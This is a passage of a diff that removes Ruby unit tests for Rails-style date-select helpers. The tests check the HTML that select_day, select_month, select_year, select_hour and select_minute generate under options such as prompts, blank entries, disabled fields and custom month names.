-    assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), {}, :class => 'selector')
-    assert_dom_equal expected, select_day(16, {}, :class => 'selector')
-  end
-
-  def test_select_day_with_default_prompt
-    expected = %(<select id="date_day" name="date[day]">\n)
-    expected << %(<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_day(16, :prompt => true)
-  end
-
-  def test_select_day_with_custom_prompt
-    expected = %(<select id="date_day" name="date[day]">\n)
-    expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_day(16, :prompt => 'Choose day')
-  end
-
-  def test_select_month
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16))
-    assert_dom_equal expected, select_month(8)
-  end
-
-  def test_select_month_with_disabled
-    expected = %(<select id="date_month" name="date[month]" disabled="disabled">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :disabled => true)
-    assert_dom_equal expected, select_month(8, :disabled => true)
-  end
-
-  def test_select_month_with_field_name_override
-    expected = %(<select id="date_mois" name="date[mois]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :field_name => 'mois')
-    assert_dom_equal expected, select_month(8, :field_name => 'mois')
-  end
-
-  def test_select_month_with_blank
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :include_blank => true)
-    assert_dom_equal expected, select_month(8, :include_blank => true)
-  end
-
-  def test_select_month_nil_with_blank
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(nil, :include_blank => true)
-  end
-
-  def test_select_month_with_numbers
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8" selected="selected">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_numbers => true)
-    assert_dom_equal expected, select_month(8, :use_month_numbers => true)
-  end
-
-  def test_select_month_with_numbers_and_names
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value="1">1 - January</option>\n<option value="2">2 - February</option>\n<option value="3">3 - March</option>\n<option value="4">4 - April</option>\n<option value="5">5 - May</option>\n<option value="6">6 - June</option>\n<option value="7">7 - July</option>\n<option value="8" selected="selected">8 - August</option>\n<option value="9">9 - September</option>\n<option value="10">10 - October</option>\n<option value="11">11 - November</option>\n<option value="12">12 - December</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :add_month_numbers => true)
-    assert_dom_equal expected, select_month(8, :add_month_numbers => true)
-  end
-
-  def test_select_month_with_numbers_and_names_with_abbv
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value="1">1 - Jan</option>\n<option value="2">2 - Feb</option>\n<option value="3">3 - Mar</option>\n<option value="4">4 - Apr</option>\n<option value="5">5 - May</option>\n<option value="6">6 - Jun</option>\n<option value="7">7 - Jul</option>\n<option value="8" selected="selected">8 - Aug</option>\n<option value="9">9 - Sep</option>\n<option value="10">10 - Oct</option>\n<option value="11">11 - Nov</option>\n<option value="12">12 - Dec</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :add_month_numbers => true, :use_short_month => true)
-    assert_dom_equal expected, select_month(8, :add_month_numbers => true, :use_short_month => true)
-  end
-
-  def test_select_month_with_abbv
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value="1">Jan</option>\n<option value="2">Feb</option>\n<option value="3">Mar</option>\n<option value="4">Apr</option>\n<option value="5">May</option>\n<option value="6">Jun</option>\n<option value="7">Jul</option>\n<option value="8" selected="selected">Aug</option>\n<option value="9">Sep</option>\n<option value="10">Oct</option>\n<option value="11">Nov</option>\n<option value="12">Dec</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_short_month => true)
-    assert_dom_equal expected, select_month(8, :use_short_month => true)
-  end
-
-  def test_select_month_with_custom_names
-    month_names = %w(nil Januar Februar Marts April Maj Juni Juli August September Oktober November December)
-
-    expected = %(<select id="date_month" name="date[month]">\n)
-    1.upto(12) { |month| expected << %(<option value="#{month}"#{' selected="selected"' if month == 8}>#{month_names[month]}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_names => month_names)
-    assert_dom_equal expected, select_month(8, :use_month_names => month_names)
-  end
-
-  def test_select_month_with_zero_indexed_custom_names
-    month_names = %w(Januar Februar Marts April Maj Juni Juli August September Oktober November December)
-
-    expected = %(<select id="date_month" name="date[month]">\n)
-    1.upto(12) { |month| expected << %(<option value="#{month}"#{' selected="selected"' if month == 8}>#{month_names[month-1]}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_names => month_names)
-    assert_dom_equal expected, select_month(8, :use_month_names => month_names)
-  end
-
-  def test_select_month_with_hidden
-    assert_dom_equal "<input type=\"hidden\" id=\"date_month\" name=\"date[month]\" value=\"8\" />\n", select_month(8, :use_hidden => true)
-  end
-
-  def test_select_month_with_hidden_and_field_name
-    assert_dom_equal "<input type=\"hidden\" id=\"date_mois\" name=\"date[mois]\" value=\"8\" />\n", select_month(8, :use_hidden => true, :field_name => 'mois')
-  end
-
-  def test_select_month_with_html_options
-    expected = %(<select id="date_month" name="date[month]" class="selector" accesskey="M">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), {}, :class => 'selector', :accesskey => 'M')
-    #result = select_month(Time.mktime(2003, 8, 16), {}, :class => 'selector', :accesskey => 'M')
-    #assert result.include?('<select id="date_month" name="date[month]"')
-    #assert result.include?('class="selector"')
-    #assert result.include?('accesskey="M"')
-    #assert result.include?('<option value="1">January')
-  end
-
-  def test_select_month_with_default_prompt
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(8, :prompt => true)
-  end
-
-  def test_select_month_with_custom_prompt
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(8, :prompt => 'Choose month')
-  end
-
-  def test_select_year
-    expected = %(<select id="date_year" name="date[year]">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005)
-    assert_dom_equal expected, select_year(2003, :start_year => 2003, :end_year => 2005)
-  end
-
-  def test_select_year_with_disabled
-    expected = %(<select id="date_year" name="date[year]" disabled="disabled">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :disabled => true, :start_year => 2003, :end_year => 2005)
-    assert_dom_equal expected, select_year(2003, :disabled => true, :start_year => 2003, :end_year => 2005)
-  end
-
-  def test_select_year_with_field_name_override
-    expected = %(<select id="date_annee" name="date[annee]">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :field_name => 'annee')
-    assert_dom_equal expected, select_year(2003, :start_year => 2003, :end_year => 2005, :field_name => 'annee')
-  end
-
-  def test_select_year_with_type_discarding
-    expected = %(<select id="date_year" name="date_year">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_year(
-      Time.mktime(2003, 8, 16), :prefix => "date_year", :discard_type => true, :start_year => 2003, :end_year => 2005)
-    assert_dom_equal expected, select_year(
-      2003, :prefix => "date_year", :discard_type => true, :start_year => 2003, :end_year => 2005)
-  end
-
-  def test_select_year_descending
-    expected = %(<select id="date_year" name="date[year]">\n)
-    expected << %(<option value="2005" selected="selected">2005</option>\n<option value="2004">2004</option>\n<option value="2003">2003</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_year(Time.mktime(2005, 8, 16), :start_year => 2005, :end_year => 2003)
-    assert_dom_equal expected, select_year(2005, :start_year => 2005, :end_year => 2003)
-  end
-
-  def test_select_year_with_hidden
-    assert_dom_equal "<input type=\"hidden\" id=\"date_year\" name=\"date[year]\" value=\"2007\" />\n", select_year(2007, :use_hidden => true)
-  end
-
-  def test_select_year_with_hidden_and_field_name
-    assert_dom_equal "<input type=\"hidden\" id=\"date_anno\" name=\"date[anno]\" value=\"2007\" />\n", select_year(2007, :use_hidden => true, :field_name => 'anno')
-  end
-
-  def test_select_year_with_html_options
-    expected = %(<select id="date_year" name="date[year]" class="selector" accesskey="M">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005}, :class => 'selector', :accesskey => 'M')
-    #result = select_year(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005}, :class => 'selector', :accesskey => 'M')
-    #assert result.include?('<select id="date_year" name="date[year]"')
-    #assert result.include?('class="selector"')
-    #assert result.include?('accesskey="M"')
-    #assert result.include?('<option value="2003"')
-  end
-
-  def test_select_year_with_default_prompt
-    expected = %(<select id="date_year" name="date[year]">\n)
-    expected << %(<option value="">Year</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_year(nil, :start_year => 2003, :end_year => 2005, :prompt => true)
-  end
-
-  def test_select_year_with_custom_prompt
-    expected = %(<select id="date_year" name="date[year]">\n)
-    expected << %(<option value="">Choose year</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_year(nil, :start_year => 2003, :end_year => 2005, :prompt => 'Choose year')
-  end
-
-  def test_select_hour
-    expected = %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18))
-  end
-
-  def test_select_hour_with_disabled
-    expected = %(<select id="date_hour" name="date[hour]" disabled="disabled">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
-  end
-
-  def test_select_hour_with_field_name_override
-    expected = %(<select id="date_heure" name="date[heure]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'heure')
-  end
-
-  def test_select_hour_with_blank
-    expected = %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
-  end
-
-  def test_select_hour_nil_with_blank
-    expected = %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_hour(nil, :include_blank => true)
-  end
-
-  def test_select_hour_with_html_options
-    expected = %(<select id="date_hour" name="date[hour]" class="selector" accesskey="M">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
-  end
-
-  def test_select_hour_with_default_prompt
-    expected = %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
-  end
-
-  def test_select_hour_with_custom_prompt
-    expected = %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose hour')
-  end
-
-  def test_select_minute
-    expected = %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18))
-  end
-
-  def test_select_minute_with_disabled
-    expected = %(<select id="date_minute" name="date[minute]" disabled="disabled">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
-  end
-
-  def test_select_minute_with_field_name_override
-    expected = %(<select id="date_minuto" name="date[minuto]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'minuto')
-  end
-
-  def test_select_minute_with_blank
-    expected = %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
-  end
-
-  def test_select_minute_with_blank_and_step
-    expected = %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), { :include_blank => true , :minute_step => 15 })
-  end
-
-  def test_select_minute_nil_with_blank
-    expected = %(<select id="date_minute" name="date[minute]">\n)
